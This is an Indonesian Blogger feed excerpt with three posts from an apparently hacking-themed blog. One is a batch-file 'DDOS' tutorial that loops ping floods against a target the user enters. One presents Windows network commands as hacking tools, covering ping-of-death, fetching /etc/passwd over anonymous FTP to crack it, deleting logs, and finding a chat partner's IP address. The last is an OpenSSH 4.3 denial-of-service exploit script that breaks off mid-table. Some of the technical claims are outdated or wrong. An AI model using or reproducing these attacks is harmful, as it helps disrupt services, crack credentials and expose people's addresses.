&lt;pre class="Xml" name="code"&gt;*membuat judul dengan nama ""&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Color 0a&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;*membuat layar berwarna,
pada angka 0-&amp;gt;untuk membuat background Hitam dan a-&amp;gt;untuk membuat tulisan menjadi Hijau Terang&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;cls&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;*membersihkan layar sehingga command seperti 

@echo off
mode 67,16
title DDOS Attack
color 0a
tidak di tampilkan&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;echo&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;*akan menampilkan baris kosong&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;echo.&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;*untuk memberi tanda longkap&lt;/pre&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="font-size: large;"&gt;Ä&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;* membuat garis lurus&lt;/pre&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;echo.&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;echo DDOS With Batchfile&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;echo.&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;set /p x=Server-Target:&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;echo.&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;ping %x%&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;echo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;*artinya hasil dari "Server-Target:" akan di nyatakan x
setelah itu x akan di Ping&lt;/pre&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;@ping.exe 127.0.0.1 -n 5 -w 1000 &amp;gt; nul&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;goto Next&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;*memberi waktu pause sebanyak 5 second dan diteruskan ke Next&lt;/pre&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;:Next&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;echo.&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;echo.&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;echo.&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;set /p y=ip Host:&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;echo.&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;set /p z=Packet Size:&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;echo.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;*setelah ke Next ,
pada "ip Host:" akan di nyatakan y dan "Packet Size:" akan di nyatakan z
setelah itu di teruskan ke DDOS&lt;/pre&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;:DDOS&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;color 0c&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;*membuat warna merah terang&lt;/pre&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;echo Attacking Server %y%&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;ping %y% -i %z% -t &amp;gt;nul&lt;/span&gt;&lt;br /&gt;
&lt;span class="Apple-style-span" style="color: red;"&gt;goto DDOS&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;*artinya setelah memasukan nilai y dan nilai z 
hasil nilai y akan di tampung di %y%
dan penge PING an nilai y dan pengiriman size yg di yatakan pada
nilai z setelah berhasil di lanjutkan ke :DDOS
karena mengunakan goto(perulangan)&lt;/pre&gt;&lt;br /&gt;
Sekian Dulu Dari Saya Semoga Bermanfaat.</description><link>http://black-mygo.blogspot.com/2011/01/tutorial-membuat-serangan-ddos-dari.html</link><author>noreply@blogger.com (Blackmygo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://lh5.ggpht.com/_29ZRNl4CE-E/TTgLHz6BwhI/AAAAAAAAAHY/LrWT4rzw9Sk/s72-c/DDOS4.jpg" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-833891672058084631</guid><pubDate>Thu, 20 Jan 2011 05:03:00 +0000</pubDate><atom:updated>2011-01-20T02:57:52.629-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Miscellaneous</category><title>Mengoptimalkan Fasilitas CMD / DOS Pada Sebuah Jaringan Komputer</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://t2.gstatic.com/images?q=tbn:ANd9GcTPrXzBIMlzoir80tNNvIoGC7pjLKKFgHBzIW0JEZ6nCp8leQkZReQ6iRc9FA" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://t2.gstatic.com/images?q=tbn:ANd9GcTPrXzBIMlzoir80tNNvIoGC7pjLKKFgHBzIW0JEZ6nCp8leQkZReQ6iRc9FA" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Microsoft DOS datang dengan beberapa hacking tool tersembunyi yang akan saya diskusikan disini. Tool ini dapat ditemukan pada direktori c:\windows jika anda menggunakan win98 dan jika anda menggunakan winxp maka tool ini berada pada C:\winxp\system32. WinXP, Win2000 dan WinNT dirilis dengan beberapa tool internet tambahan. Jadi jika anda masih menggunakan win98 maka saya menyarankan agar menggantinya dengan WinXP. Yang tentunya memiliki fitur securiti tambahan dan perintah hacking internet yang bagus. Dalam manual ini saya akan membahas mengenai beberapa perintah yang ditemukan pada Win98 dan winXP&lt;br /&gt;
&lt;br /&gt;
Jadi bagi pengguna window, berikut ini perintah-perintah hacking pada DOS.&lt;br /&gt;
&lt;br /&gt;
1. ping&lt;br /&gt;
2. tracert&lt;br /&gt;
3. telnet&lt;br /&gt;
4. ftp&lt;br /&gt;
5. netstat&lt;br /&gt;
&lt;br /&gt;
OK, inilah keterangannya.&lt;br /&gt;
&lt;br /&gt;
1. ping&lt;br /&gt;
&lt;br /&gt;
Utiliy ini digunakan untuk mencari keberadaan remote host. Yan gmengirmkan sebuah signal SYN ke remote host dan jika remote host membalas maka berarti memang ada suatu remote machine.&lt;br /&gt;
&lt;br /&gt;
Cobalah anda ketik perintah ini:&lt;br /&gt;
&lt;br /&gt;
C:\windows&amp;gt;ping/?&lt;br /&gt;
&lt;br /&gt;
*************&lt;br /&gt;
Newbie tip: mengetik '/?' setelah perintah dos menampilkan helpnya. Jadi bagaimana anda belajar aneka perintah dos. Bukankah WinXP, WinNT dan Win2000 juga memiliki perintah ‘help’ untuk menampilkan seluruh perintah dos.&lt;br /&gt;
*************&lt;br /&gt;
Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]&lt;br /&gt;
[-r count] [-s count] [[-j host-list] | [-k host-list]]&lt;br /&gt;
[-w timeout] destination-list&lt;br /&gt;
&lt;br /&gt;
Options:&lt;br /&gt;
-t Ping the specified host until stopped.&lt;br /&gt;
To see statistics and continue - type Control-Break;&lt;br /&gt;
To stop - type Control-C.&lt;br /&gt;
-a Resolve addresses to hostnames.&lt;br /&gt;
-n count Number of echo requests to send.&lt;br /&gt;
-l size Send buffer size.&lt;br /&gt;
-f Set Don't Fragment flag in packet.&lt;br /&gt;
-i TTL Time To Live.&lt;br /&gt;
-v TOS Type Of Service.&lt;br /&gt;
-r count Record route for count hops.&lt;br /&gt;
-s count Timestamp for count hops.&lt;br /&gt;
-j host-list Loose source route along host-list.&lt;br /&gt;
-k host-list Strict source route along host-list.&lt;br /&gt;
-w timeout Timeout in milliseconds to wait for each reply.&lt;br /&gt;
&lt;br /&gt;
Jadi saya dapat melakukan ping ke ip address apapun atau domain name untuk memeriksa keberadaannya di internet. Sebagai contoh saya mengetik “ping localhost” maka saya mendapatkan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pinging chintan [127.0.0.1] with 32 bytes of data:&lt;br /&gt;
&lt;br /&gt;
Reply from 127.0.0.1: bytes=32 time&amp;lt;10ms TTL=128 Reply from 127.0.0.1: bytes=32 time&amp;lt;10ms TTL=128 Reply from 127.0.0.1: bytes=32 time&amp;lt;10ms TTL=128 Reply from 127.0.0.1: bytes=32 time&amp;lt;10ms TTL=128  Ping statistics for 127.0.0.1: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms  ************ Newbie tip: 'localhost' adalah ip 127.0.0.1 dan merupakan ip address kita sendiri. Juga dikenal sebagai loopback ip. Tapi saat anda terhubung ke internet anda akan diberi ip baru oleh isp anda sebagai identifikasi diri anda. Anda dapat mencari tahu ip anda dengan mengetik”winipcfg” pada menu Start-Run bagi pengguna Win98, sedangkan yang lainnya hanya mengetikkan “ipconfig” pada command prompt. ***********  Hal ini menunjukkan kepada saya bahwa 32 byte data dikirim ke 127.0.0.1 dan dibalas kembali kurang dari 10ms. TTL adalah Time To Live dan nilai range dari 0 hingga 255 (default 128). Sekarang biar kita lihat apa yang terjadi jika saya mengetik “ping http://www.yahoo.com”  Pinging http://www.yahoo.akadns.net [66.218.71.87] with 32 bytes of data:  Reply from 66.218.71.87: bytes=32 time=3448ms TTL=54 Reply from 66.218.71.87: bytes=32 time=2276ms TTL=54 Reply from 66.218.71.87: bytes=32 time=1799ms TTL=54 Reply from 66.218.71.87: bytes=32 time=2850ms TTL=54  Ping statistics for 66.218.71.87: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 1799ms, Maximum = 3448ms, Average = 2593ms  Tapi bagaimana ping tersebut digunakan oleh para hacker? Baiklah, ada dua opsi ‘|’ dan ‘-t’ yang mematikan. -| digunakan untuk spesifikasi ukuran buffer yang dikirimkan (defaultnya 32 byte) bagaimana jika saya mengetik “ping -| 65600 target.com” maka hal ini akan membawa maut 65600 paket data ke target.com yang lebih tinggi dari kapasitas TCP/IP 65535. Tindakan ini menyebabkan target.com menjadi hang dan harus di restart.  Dan jika saya mengetik “ping –t target.com” hal ini akan meneruskan pengiriman 32 byte data ke target.com hingga menghabiskan resource dan menyebabkan hang. Dua jenis serangan diatas dikenal sebagai ping attack bagi penyerang Dos.  *********** Newbie tip: 'Dos' yang terakhir disebutkan adalah Denial of service yang dilancarkan oleh hacker untuk menghentikan service pada remote machine. *********** Catatan: Jenis serangan ini dimasa lalu sering digunakan, namun saat ini pada sistem yang telah diperbarui hal tersebut tidak akan bekerja lagi.  2. Tracert  Perintah Tracert melakukan penjejakan ke remote machine. Sebelum request kita menjangkau remote machine melalui router yang berbeda diantaranya. Tool tracert (dikenal sebagai ‘traceroute’ pada unix) pada awalnya dirancang untuk mencari router mana yang mengalami masalah. Perintah tersebut menunjukkan ip address router yang dilalui request kita sebelum menjangkau remote maching. Sebagai contoh, jika saya mengetik “tracert http://www.yahoo.com” pada dos prompt maka akan terdapat:  Tracing route to http://www.yahoo.akadns.net [66.218.71.87] over a maximum of 30 hops:  1 * 2296 ms 2025 ms dialpool-210-214-55-11.maa.sify.net [210.214.55.11] 2 2446 ms 2025 ms 2301 ms dialpool-210-214-55-2.maa.sify.net [210.214.55.2] 3 1899 ms 2066 ms 2450 ms lan-202-144-32-177.maa.sify.net [202.144.32.177] 4 * 2885 ms 2749 ms lan-202-144-83-4.maa.sify.net [202.144.83.4] 5 * * * Request timed out. 6 * * * Request timed out. 7 * * * Request timed out. 8 * * * Request timed out. 9 * * * Request timed out. 10 * 3408 ms * http://www.yahoo.akadns.net [66.218.71.87] 11 * * * Request timed out. 12 * * * Request timed out. 13 * * * Request timed out. 14 * * * Request timed out. 15 * * * Request timed out. 16 * * * Request timed out. 17 482 ms 698 ms 624 ms w8.scd.yahoo.com [66.218.71.87] dede23 27-07-2006, 01:04 PM Trace complete.  Baris pertama memberitahukan kita ip mana yang menjejaki dan kemudian jumlah hop. Jumlah hop tergantung pada jumlah server yang ada diantaranya. Setelah memulai tracing. Request pertama saya melalui sify.net (nama ISP server saya) kemudian melalui server yang berbeda dan terakhir menjangkau w8.scd.yahoo.com. Jadi kita dapat melihat berapa lama prosedurnya. Kapanpun anda membuka http://www.yahoo.com dalam web browser, request anda selalu melalui isp dulu (untuk mendapatkan ip dari http://www.yahoo.com dari daftar nama domainnya) kemudian server lain dalam jalur tersebut dan terakhir pada yahoo.  Jadi bagaimana tracert digunakan oleh para hacker. Perintah ini digunakan untuk mencari firewall dan melumpuhkannya. Tracer digunakan bersamaan dengan nmap dapat mengetahui ip sebenarnya dimana firewall terpasang, kemudian hacker tersebut akan melumpuhkannya. Untuk contoh diatas kita melihat bahwa proses tracing terhenti pada w8.scd.yahoo.com. Namun hal ini bukanlah tujuan sebenarnya. Hal itu dikarenakan dihentikan oleh firewall. Mengenai masalah firewall akan kita bahas dalam artikel tersendiri.   3. Telnet  Jika anda menggunakan windows maka ‘telnet’ merupakan hacking tool terhebat bagi anda. Sebenarnya merupakan sebuah terminal yang dapat mengakses remote machine dan menggunakan service-nya. Melalui telnet anda dapat menentukan suatu koneksi antara mesin anda dan remote machine melalui port tertentu.   *********** Newbie tip: Disini saya membicarakan tentang virtual port. Tidak secara fisik yang anda lihat dibalik CPU anda. Hanya sebagai physical port yang digunakan untuk koneksi ke hardware dan dengan cara yang sama virtual port digunakan untuk koneksi pada software. TCP/IP memiliki 65,535 virtual port. *********** Jika anda mengentik “telnet target.com” maka anda terhubung ke target.com pada prot no. 23 (port yang menjalankan telnet service). Anda juga bisa terhubung ke suatu port lainnya dengan mengetik nomor port setelah target.com. sebagai contoh jika saya ingin terhubung ke port no. 25 (SMTP service) maka salya akan mengetik “telnet target.com 25”. *********** Newbie tip: Setiap port menjalankan service tertentu. Untuk mendaptkan daftar service yang dijalankan pada port tertentu yang bukalah “C:\windows\services" pada notepad. *********** Sesaat anda terhubung ke sebuah remote machine pada port tertentu, sebuah window popup telnet dengan daemon yang menjalankan port tersebut menunggu anda mengetikkan perintah. Sebagai contoh “telnet http://www.cyberspace.org” maka seperti gambar dibawah inilah yang saya dapatkan.   Saya harus login disana dan mengetik suatu password dan saya mendapatkan linux shell prompt. Baiklah jika anda mengetikan newuser disana untuk mendapatkan sebuah LoginID dan Password. Dan stelah itu saya menyiapkan perintah untuk mengeksekusi secara remote.  Well, http://www.cyberspace.org memiliki server Linux. Jadi jika anda tidak familiar dengan Linux anda tidak akan mampu menggunakan service-nya.    4. FTP  FTP adalah File Transfer Protocol. Melalui ini anda dapat mendownload atau mengupload file. Dan apa yang hacker inginkan dari ini? Benar!! Tinggal mengeti “ftp target.com” dan daemon banner akan ditampilkan. Tapi disini, dengan tujuan menampilkan file transfer pertama kali anda harus login. Beberapa website mengijinkan adanya naonymous login. Contohnya mengetikkan login “anonymous” dan email-address anda sebagai password. Tentunya anda harus mengetikkan email palsu. Sekarang anda boleh mulai mendownload dan mengupload file. Namun untuk itu anda adanya suatu perintah. Pada FTP prompt anda dapat mengetikkan “?”. Maka akan ditampilkan sbb:   ! delete literal prompt send ? debug ls put status append dir mdelete pwd trace ascii disconnect mdir quit type bell get mget quote user binary globe mkdir recv verbose bye hash mls remotehelp cd help mput rename close lcd open rmdir  Untuk mendaptkan bantuan pada berbagai perintah contohnya perintah delete, mengetikan “? Delete”. Beberapa perintah penting lainnya adalah:  1. 'pwd' to know the present directory at remote machine. contohnya. ftp&amp;gt;pwd&lt;br /&gt;
/etc/home&lt;br /&gt;
2. 'lcd' to change the local directory.&lt;br /&gt;
contohnya. ftp&amp;gt;lcd C:\windows&lt;br /&gt;
local directory now C:\windows&lt;br /&gt;
3. 'cd' to change the remote directory.&lt;br /&gt;
contohnya. ftp&amp;gt;cd /etc&lt;br /&gt;
remote directory now /etc&lt;br /&gt;
4. 'mput' to send multiple files to remote machine.&lt;br /&gt;
contohnya. ftp&amp;gt;mput *.*&lt;br /&gt;
sends all files from C:\windows to /etc&lt;br /&gt;
5. 'mget' to get multiple files from remote machine.&lt;br /&gt;
contohnya. ftp&amp;gt;mget *.*&lt;br /&gt;
gets all files from /etc to C:\windows&lt;br /&gt;
6. 'open' to establish a connection with remote host.&lt;br /&gt;
contohnya. ftp&amp;gt;open http://www.target.com&lt;br /&gt;
7. 'bye' closes the connection and quits from ftp&lt;br /&gt;
&lt;br /&gt;
Untuk perintah lainnya dari ftp silakan lihat help mereka.&lt;br /&gt;
&lt;br /&gt;
Sekarang pada yang port FTP (prot 21) adalah membuka http://www.nosecurity.com. Seorang hacker akan terhubung ke situs tersebut menggunakan “ftp http://www.nosecurity.com” pada dos prompt. Kemudian dia akan mencoba login secara anonymous. Dengan anggapan bahwa http://www.nosecurity.com menggunakan linux server, maka hacker tersebut akan mengtikkan perintah “get /etc/apsswd” untuk mendaptkan file password dan mengcracknya. Jika anda adalah seorang hacker, maka jangan lupa untuk menghapus log tersebut.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
5. netstat&lt;br /&gt;
&lt;br /&gt;
Anda dapat menentukan suatu koneksi dengan remote machine pada port tertentu, hanya saat port tersebut dibuka pada remote machine. Sebagai contoh, jika anda ingin menentukan sebuah koneksi dengan http://www.target.com pada port 23 (telnet) maka port tersebut seharusnya terbuka pada http://www.target.com. Dan seluruh aktifitas hacking umumnya menggunakan port yang terbuka. Mengetikkan “netstat /?” pada dos prompt memberikan:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Displays protocol statistics and current TCP/IP network connections.&lt;br /&gt;
&lt;br /&gt;
NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]&lt;br /&gt;
&lt;br /&gt;
-a Displays all connections and listening ports.&lt;br /&gt;
-e Displays Ethernet statistics. This may be combined with the -s&lt;br /&gt;
option.&lt;br /&gt;
-n Displays addresses and port numbers in numerical form.&lt;br /&gt;
-p proto Shows connections for the protocol specified by proto; proto&lt;br /&gt;
may be TCP or UDP. If used with the -s option to display&lt;br /&gt;
per-protocol statistics, proto may be TCP, UDP, or IP.&lt;br /&gt;
-r Displays the routing table.&lt;br /&gt;
-s Displays per-protocol statistics. By default, statistics are&lt;br /&gt;
shown for TCP, UDP and IP; the -p option may be used to specify&lt;br /&gt;
a subset of the default.&lt;br /&gt;
interval Redisplays selected statistics, pausing interval seconds&lt;br /&gt;
between each display. Press CTRL+C to stop redisplaying&lt;br /&gt;
statistics. If omitted, netstat will print the current&lt;br /&gt;
configuration information once.&lt;br /&gt;
&lt;br /&gt;
Opsi akan menjelaskan fungsinya masing-masing. Dan yang terpenting adalah opsi –a dan –n. Opsi –a menampilkan seluruh port yang terbuka pada mesin tersebut. Dan jika saya menggunakan opsi –n maka akan menunjukkan ip address sebagai ganti dari domain. Saya mendapatkan hal berikut ini jika saya mengetik “netstat –a” pada command prompt.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Active Connections&lt;br /&gt;
&lt;br /&gt;
Proto Local Address Foreign Address State&lt;br /&gt;
TCP chintan:1027 0.0.0.0:0 LISTENING&lt;br /&gt;
TCP chintan:80 0.0.0.0:0 LISTENING&lt;br /&gt;
TCP chintan:135 0.0.0.0:0 LISTENING&lt;br /&gt;
TCP chintan:6435 0.0.0.0:0 LISTENING&lt;br /&gt;
TCP chintan:1025 0.0.0.0:0 LISTENING&lt;br /&gt;
TCP chintan:1026 0.0.0.0:0 LISTENING&lt;br /&gt;
TCP chintan:1028 0.0.0.0:0 LISTENING&lt;br /&gt;
TCP chintan:1309 0.0.0.0:0 LISTENING&lt;br /&gt;
TCP chintan:1310 0.0.0.0:0 LISTENING&lt;br /&gt;
TCP chintan:1285 rumcajs.box.sk:80 ESTABLISHED&lt;br /&gt;
TCP chintan:1296 l an-202-144-78-3.maa.sify.net:80 CLOSE_WAIT&lt;br /&gt;
TCP chintan:1297 lan-202-144-65-14.sify.net:80 ESTABLISHED&lt;br /&gt;
TCP chintan:1310 cdn-v13.websys.aol.com:80 ESTABLISHED&lt;br /&gt;
TCP chintan:1220 aiedownload.cps.intel.com:ftp ESTABLISHED&lt;br /&gt;
&lt;br /&gt;
”Proto” menyatakan nama protocol tersebut, “localaddress” memberikan ipaddress kita dan port yang terbuka. “Foreign Address” menyatkaan ipaddress dengan namor port yang terhubung ke kita. “State” menyatakan pernyataan saat ini jika suatu koneksi “established” atau listening atau hanya “waiting”.&lt;br /&gt;
&lt;br /&gt;
Sebagai contoh jika saya membuka http://www.yahoo.com maka saat saya menjalankan “netstat –a” saya akan mendapatkan masukan seperti ini:&lt;br /&gt;
&lt;br /&gt;
"TCP 203.43.50.81:2034 http://www.yahoo.com:80 ESTABLISHED"&lt;br /&gt;
&lt;br /&gt;
Komputer saya dengan ip 203.43.50.81 melalui port 2034 terhubung dengan yahoo pada port 80&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*************&lt;br /&gt;
Sedikit Tpis: Dengan cara ini anda bisa mendapatkan ip seseorang yang chatting dengan ada. Pertama kali jalankan “netstat –an” dan lihat dibawah foreign ip address. Sekarang mulailah private chating dengan orang lain. Juga jalankan “netstat –an” dan anda akan mendapatkan satu lagin foreign ip pada akhirnya. Inilah ip orang tersebut.&lt;br /&gt;
*************</description><link>http://black-mygo.blogspot.com/2011/01/mengoptimalkan-fasilitas-cmd-dos-pada.html</link><author>noreply@blogger.com (Blackmygo)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-7425262498407666444</guid><pubDate>Wed, 19 Jan 2011 15:29:00 +0000</pubDate><atom:updated>2011-01-19T07:29:25.513-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Exploit Database</category><title>OpenSSH &lt;= 4.3 p1 (Duplicated Block) Remote Denial of Service Exploit</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://t3.gstatic.com/images?q=tbn:ANd9GcSEUxloZ_IFuerhNvdkKwrlyjB4OSdslMQETEv4WkNxLt_I4s3y9Q" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="129" src="http://t3.gstatic.com/images?q=tbn:ANd9GcSEUxloZ_IFuerhNvdkKwrlyjB4OSdslMQETEv4WkNxLt_I4s3y9Q" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;OpenSSH &amp;lt;= 4.3 p1 (Duplicated Block) Remote Denial of Service Exploit&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;#!/bin/bash
#
# OpenSSH CRC compensation attack detection DoS PoC.
# Tavis Ormandy &lt;taviso@google.com&gt;
#
# Yes, I really did implement crc-32 in bash.
#
# usage: script &lt;hostname&gt;

# victim hostname
hostname=${1:-localhost}
port=${2:-22}

# where the fifo is created to communicate with netcat
fifo=/tmp/nc.$$

# make the fifos
mkfifo ${fifo}.in
mkfifo ${fifo}.out

# pre-calculated crc32 for packet header
declare -i crc=0xb2240279

# crc lookup table
declare -a crc32tab=( 0x00000000 0x77073096 0xee0e612c 0x990951ba 0x076dc419
0x706af48f 0xe963a535 0x9e6495a3 0x0edb8832 0x79dcb8a4 0xe0d5e91e 0x97d2d988
0x09b64c2b 0x7eb17cbd 0xe7b82d07 0x90bf1d91 0x1db71064 0x6ab020f2 0xf3b97148
0x84be41de 0x1adad47d 0x6ddde4eb 0xf4d4b551 0x83d385c7 0x136c9856 0x646ba8c0
0xfd62f97a 0x8a65c9ec 0x14015c4f 0x63066cd9 0xfa0f3d63 0x8d080df5 0x3b6e20c8
0x4c69105e 0xd56041e4 0xa2677172 0x3c03e4d1 0x4b04d447 0xd20d85fd 0xa50ab56b
0x35b5a8fa 0x42b2986c 0xdbbbc9d6 0xacbcf940 0x32d86ce3 0x45df5c75 0xdcd60dcf
0xabd13d59 0x26d930ac 0x51de003a 0xc8d75180 0xbfd06116 0x21b4f4b5 0x56b3c423
0xcfba9599 0xb8bda50f 0x2802b89e 0x5f058808 0xc60cd9b2 0xb10be924 0x2f6f7c87
0x58684c11 0xc1611dab 0xb6662d3d 0x76dc4190 0x01db7106 0x98d220bc 0xefd5102a
0x71b18589 0x06b6b51f 0x9fbfe4a5 0xe8b8d433 0x7807c9a2 0x0f00f934 0x9609a88e
0xe10e9818 0x7f6a0dbb 0x086d3d2d 0x91646c97 0xe6635c01 0x6b6b51f4 0x1c6c6162
0x856530d8 0xf262004e 0x6c0695ed 0x1b01a57b 0x8208f4c1 0xf50fc457 0x65b0d9c6
0x12b7e950 0x8bbeb8ea 0xfcb9887c 0x62dd1ddf 0x15da2d49 0x8cd37cf3 0xfbd44c65
0x4db26158 0x3ab551ce 0xa3bc0074 0xd4bb30e2 0x4adfa541 0x3dd895d7 0xa4d1c46d
0xd3d6f4fb 0x4369e96a 0x346ed9fc 0xad678846 0xda60b8d0 0x44042d73 0x33031de5
0xaa0a4c5f 0xdd0d7cc9 0x5005713c 0x270241aa 0xbe0b1010 0xc90c2086 0x5768b525
0x206f85b3 0xb966d409 0xce61e49f 0x5edef90e 0x29d9c998 0xb0d09822 0xc7d7a8b4
0x59b33d17 0x2eb40d81 0xb7bd5c3b 0xc0ba6cad 0xedb88320 0x9abfb3b6 0x03b6e20c
0x74b1d29a 0xead54739 0x9dd277af 0x04db2615 0x73dc1683 0xe3630b12 0x94643b84
0x0d6d6a3e 0x7a6a5aa8 0xe40ecf0b 0x9309ff9d 0x0a00ae27 0x7d079eb1 0xf00f9344
0x8708a3d2 0x1e01f268 0x6906c2fe 0xf762575d 0x806567cb 0x196c3671 0x6e6b06e7
0xfed41b76 0x89d32be0 0x10da7a5a 0x67dd4acc 0xf9b9df6f 0x8ebeeff9 0x17b7be43
0x60b08ed5 0xd6d6a3e8 0xa1d1937e 0x38d8c2c4 0x4fdff252 0xd1bb67f1 0xa6bc5767
0x3fb506dd 0x48b2364b 0xd80d2bda 0xaf0a1b4c 0x36034af6 0x41047a60 0xdf60efc3
0xa867df55 0x316e8eef 0x4669be79 0xcb61b38c 0xbc66831a 0x256fd2a0 0x5268e236
0xcc0c7795 0xbb0b4703 0x220216b9 0x5505262f 0xc5ba3bbe 0xb2bd0b28 0x2bb45a92
0x5cb36a04 0xc2d7ffa7 0xb5d0cf31 0x2cd99e8b 0x5bdeae1d 0x9b64c2b0 0xec63f226
0x756aa39c 0x026d930a 0x9c0906a9 0xeb0e363f 0x72076785 0x05005713 0x95bf4a82
0xe2b87a14 0x7bb12bae 0x0cb61b38 0x92d28e9b 0xe5d5be0d 0x7cdcefb7 0x0bdbdf21
0x86d3d2d4 0xf1d4e242 0x68ddb3f8 0x1fda836e 0x81be16cd 0xf6b9265b 0x6fb077e1
0x18b74777 0x88085ae6 0xff0f6a70 0x66063bca 0x11010b5c 0x8f659eff 0xf862ae69
0x616bffd3 0x166ccf45 0xa00ae278 0xd70dd2ee 0x4e048354 0x3903b3c2 0xa7672661
